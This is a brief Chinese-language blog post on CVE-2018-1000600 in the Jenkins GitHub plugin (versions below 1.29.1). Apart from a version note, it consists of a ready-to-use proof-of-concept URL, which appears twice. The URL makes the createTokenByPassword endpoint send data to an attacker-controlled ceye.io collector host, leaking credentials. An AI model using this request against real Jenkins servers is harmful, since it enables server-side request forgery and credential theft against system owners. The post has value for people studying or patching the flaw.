CVE-2018-1000600_Jenkins_GitHub_信息泄漏

棉花糖

2021年7月15日发布

020

# CVE-2018-1000600 Jenkins GitHub 信息泄漏

==影響版本==
Jenkins GitHub插件小於1.29.1

利用的POC如下，其中user1為用戶名。

/securityRealm/user/user1/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://xxx.ceye.io

==影響版本==
Jenkins GitHub插件小於1.29.1

利用的POC如下，其中user1為用戶名。

/securityRealm/user/user1/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://xxx.ceye.io

文章版权归作者所有，未经允许请勿转载。

THE END